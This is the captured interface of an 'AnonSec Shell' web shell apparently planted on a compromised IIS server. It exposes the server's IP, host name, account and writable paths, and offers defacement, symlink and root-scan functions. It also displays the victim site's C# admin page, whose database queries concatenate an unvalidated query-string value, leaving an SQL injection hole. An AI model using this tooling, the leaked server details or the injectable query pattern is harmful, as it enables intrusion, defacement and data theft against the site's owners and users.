AnonSec Shell
Server IP : 199.79.62.161  /  Your IP : 216.73.216.245   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT MDUS-PP-WB12 10.0 build 20348 (Windows Server 2022) AMD64
User : IWPD_5096(nirmaowd) ( 0)
PHP Version : 8.3.30
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/INETPUB/VHOSTS/nirmalamatha.edu.in/ponnuguruvayurappan.org/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : D:/INETPUB/VHOSTS/nirmalamatha.edu.in/ponnuguruvayurappan.org/Admin//edit_newsandevents.aspx.cs
using System;
using System.Drawing;
using System.Web.UI.WebControls;
using System.Data.SqlClient;
using System.Configuration;
using System.Data;

public partial class admin_edit_newsandevents : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        if (!IsPostBack)
        {
            if (Request.QueryString["DID"] == "" || Request.QueryString["DID"] == null)
                Response.Redirect("message.aspx?msg=Please try later!");
            else
            {
                LoadDetails(Request.QueryString["DID"]);
            }
        }
    }
    public void LoadDetails(string DID)
    {
        SqlConnection dbConn = new SqlConnection(ConfigurationManager.ConnectionStrings["myconnectionstring"].ConnectionString);
        SqlDataAdapter dbAdapt = new SqlDataAdapter("SELECT  * FROM [DECISIONS] WHERE DID = " + DID + "", dbConn);
        dbAdapt.MissingSchemaAction = MissingSchemaAction.AddWithKey;
        SqlCommandBuilder dbCB = new SqlCommandBuilder(dbAdapt);
        dbConn.Open();
        DataSet dbSet = new DataSet();
        dbAdapt.Fill(dbSet, "temp");
        DataTable dbTable = dbSet.Tables["temp"];

        // checking data exits
        if (dbTable.Rows.Count == 1)
        {
            txt_Name.Text = dbTable.Rows[0]["Heading"].ToString();
            txt_Description.Text = dbTable.Rows[0]["Description"].ToString();
            txt_DisplayOrder.Text = dbTable.Rows[0]["Display"].ToString();
        }
        else
        {
            Response.Redirect("message.aspx?msg=No Data Found");
        }
    }
    protected void btnUpload_Click(object sender, EventArgs e)
    {
        //try
        //{

            string DID = Request.QueryString["DID"];
            //********* add to db
            SqlConnection dbConn = new SqlConnection(ConfigurationManager.ConnectionStrings["myconnectionstring"].ConnectionString);
            SqlDataAdapter dbAdapt = new SqlDataAdapter("SELECT  * FROM [DECISIONS] WHERE DID = " + DID + "", dbConn);

            // We need this to get an ID back from the database
            dbAdapt.MissingSchemaAction = MissingSchemaAction.AddWithKey;

            // Create and initialize CommandBuilder
            SqlCommandBuilder dbCB = new SqlCommandBuilder(dbAdapt);
            // Open Connection
            dbConn.Open();

            // New DataSet
            DataSet dbSet = new DataSet();

            // Populate DataSet with data
            dbAdapt.Fill(dbSet, "temp");

            // Get reference to our table
            DataTable dbTable = dbSet.Tables["temp"];

            // checking data exits
            if (dbTable.Rows.Count == 1)
            {
                DataRow dbRow = dbTable.Rows[0];

                //********* file save

                dbRow["Heading"] = txt_Name.Text.Trim();
                dbRow["Description"] = txt_Description.Text.Trim();
                dbRow["Display"] = int.Parse(txt_DisplayOrder.Text);

                int stat = dbAdapt.Update(dbSet, "temp");
                dbConn.Close();
                //********* end of save to db

                if (stat > 0)
                    Response.Redirect("add_newsandevents.aspx?msg= Successfully Updated#msg");
                else
                    Response.Redirect("add_newsandevents.aspx?msg= Please Try Later#msg");

            }

        //}
        //catch (Exception info)
        //{
         //   throw info;
        //}
    }
}

Anon7 - 2022
AnonSec Team